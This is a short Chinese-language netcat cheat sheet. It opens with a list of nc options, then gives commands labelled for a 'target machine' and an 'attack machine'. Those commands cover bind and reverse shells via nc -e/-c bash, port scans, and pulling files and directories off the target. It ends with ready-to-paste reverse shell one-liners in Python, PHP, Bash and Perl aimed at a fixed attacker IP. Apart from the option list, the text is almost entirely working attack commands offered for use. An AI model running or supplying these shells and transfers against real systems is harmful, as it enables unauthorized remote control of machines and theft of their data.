nc的使用
options:
-d 无命令行界面,使用后台模式
-e prog 程序重定向 [危险!!]
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-l 监听入站信息
-L 监听知道NetCat被结束(可断开重连)
-n 以数字形式表示的IP地址
-o file 使进制记录
-p port 打开本地端口
-r 随机本地和远程的端口
-s addr 本地源地址
-t 以TELNET的形式应答入站请求
-u UDP 模式
-v 显示详细信息 [使用=vv获取更详细的信息]
-w secs 连接超时设置
-z I/O 模式 [扫描时使用]
端口号可以是单个的或者存在一个范围: m-n [包含值]。
远程控制
A:靶机 B:攻击机
正向:
A:nc -lp 333 -c bash ;也可以用-e cmd.exe或者-e /bin/bash
B:nc 1.1.1.1 333
反向:
B:nc -lp 333
A:nc 1.1.1.1 333 -c bash
注:Windows⽤用户把bash改成cmd;
端口扫描
nc -nvz 1.1.1.1 1-65535
nc –vnzu 1.1.1.1 1-1024
传输文件
攻击机从靶机下载文件
A:nc -nv 1.1.1.1 333 < 1.mp4
B:nc -lp 333 > 1.mp4
攻击机传输文件到靶机
B:nc -lp 333 < a.mp4
A: nc -nv 1.1.1.1 333 > 2.mp4
传输目录
A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –
目标没有nc时
(python)python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
本地:nc -lvp 333
(php)php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
(bash)bash -i>&/dev/tcp/192.168.11.144/2222 0>&1
(perl)
perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'